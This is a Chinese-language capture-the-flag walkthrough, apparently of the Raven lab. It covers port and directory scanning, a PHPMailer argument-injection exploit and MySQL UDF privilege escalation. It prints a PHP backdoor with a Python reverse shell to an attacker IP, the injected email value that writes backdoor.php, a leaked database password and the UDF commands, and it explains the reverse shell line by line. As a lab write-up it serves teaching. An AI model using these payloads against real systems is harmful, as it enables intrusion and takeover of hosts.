复习知识点
ssh爆破
dirb扫描使用
PHPmaile插件漏洞利用
UDF提权
补充MYSQL知识
-------------------------------------------------------------------------------------------------------
老套路扫端口
ssh肯定可以爆破
用dirb扫描信息
m
发现目录
vendor目录
进入目录查看
PATH中有一个flag1
查看.md文件
用了PHPmailer插件
找版本
直接去找EXP
搜索CVE
已经存在,定位
loacte
复制
编辑脚本
该脚本主要是一句话后门python
target = 'http://localhost:8080'
backdoor = '/backdoor.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
'message': 'Pwned'}
简单讲一下一句话后门
(1)在任何类型的通信开始之前,网络应用程序都必须创建套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
(2)网络中 ip 地址和 port 端口定义唯一的一个进程,实现不同主机之间的通信
s.connect(('192.168.110.130',2222))
(3)作用:重定向
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
dup2(fd1, fd2) :传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件(可以想象成是P_fd1指针)强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。
fileno() :返回一个整型的文件描述符(file descriptor FD 整型)
注意:文件描述符是 Linux 中独有的,在 Linux 中,一切皆是文件
在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr
说明:当一个应用程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。POSIX标准要求每次打开文件时(含socket)必须使用当前进程中最小可用的文件描述符号
因此以上命令代表:将socket传回的数据 替换 stdin,stdout,stderr 原本内容(在 攻击机 监听端口时会自动创建一个套接字)。
我的想法是这样:
标准输入:来自于 攻击机 传输的内容
标准输出、标准错误:来自于 目标机 输出的内容。由于 目标机与攻击机 之间的连接,通信,目标机输出内容会被传到 攻击机 显示
(4)subprocess库:允许生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码
p=subprocess.call(['/bin/sh','-i'])
call():执行指定的命令,返回命令执行的状态码
//bash是shell的一种,是linux下最常用的一种shell;传入参数“-i”,使bash以交互模式启动
综合上面,shell 被调用,执行 攻击机 输入的内容,相当于 攻击机 控制了目标机
target主要是如果访问那个目录,会在那个目录的子目录中生成一个后门文件backdoor
后门文件的内容为payload python后门一句话
需要修改的地方有target,backdoor,email
python3 40974.py
执行成功,生成
测试成功
先开启监听
发现并没有进行反弹shell成功
因为wangxinyu.php不好使,也不知道为啥
换成生成的名字是shell.php
先访问页面contact,在访问shell.php
反弹成功
这是一个伪shell
python -c 'import pty;pty.spawn("/bin/bash")'
获得反弹shell
此处总结几个知识点
python中的pty模块就是引入伪终端的
pty 模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。
/bin/bash
通俗点讲,#!/bin/bash: 是指此脚本使用/bin/bash来解释执行。其中,#!是一个特殊的表示符,后面紧跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,比如sh,csh,ksh,tcsh等等。
进入临时文件夹找文件
find / -name flag*
查看flag2.txt
还有一个flag3 在html中,所以在网页中查看
对比好访问路径,没有var/www/html
发现使用了wordpress
进入wordpress查看一下文件
注意无论哪一个目录文件,config都是最重要的,先看config
用grep可以快速查找关键字
28行mysql密码
数据库的账号和密码
root
R@v3nSecurity
直接在本地进行登录
mysql -uroot -pR@v3nSecurity
查看mysql的基本信息
show databases();
select version();
比较经典的UDF提权
检查mysql是否是以root权限去运行的
ps aux | grep mysql
dpkg -l |grep mysql
检查安装过程
查库换库
爆用户表
发现有加密,无法搞定
尝试UDF提权
查看是否满足写入权限
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件的目录
查看mysql是否可以远程进行登录
发现不能进行远程登陆
只能用UDF进行先搜索EXP
编译的是一个.so的文件
可以看到插件目录中底层都是.so的文件
1518复制到桌面
编译生成.o文件
编译生成.so文件
本地生成完成之后远程传输
开端口
python -m http.server 8081
下载后门
进入mysql,查表
先创建一个表
create table wangxinyu(line blob);
查表
desc wangxinyu;
把文件写入表中(二进制数据)
insert into wangxinyu values(load_file('/tmp/wangxinyu.so'));
粘贴插不进去,手打能插进去
新建存储函数
补充MYSQL知识
dumpfile与outfile的区别
导出数据库场景下的差异
select …… into outfile
我们先来看一下mysql官方文档里对于这两个函数的解释
其中有两个值得注意的坑点
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
我们接下来通过导出测试看看这里面的细节
首先通过命令 select * from test into outfile '/tmp/test.txt'
来使用outfile导出
可以看到文件 /tmp/test.txt
文件中保存了所有的数据并且在一行数据的末尾自动换行
通过查看官方文档,可以看出使用如下参数可以进行格式调整
其中 FIELDS ESCAPED BY
可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY
用来对字段值进行包裹, FIELDS TERMINATED BY
用来对字段值之间进行分割
例如使用如下命令 select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
得到的导出文件如下
select …… into dumpfile
而接着使用命令 select * from test into dumpfile '/tmp/test.txt'
使用dumpfile进行导出
可以看到此命令在执行的时候提示输出超过一行
查看文件内容
可以看见通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据
插入到表成功之后从表导出数据
select * from wangxinyu into dumpfile '/usr/lib/mysql/plugin/wangxinyu.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'wangxinyu.so';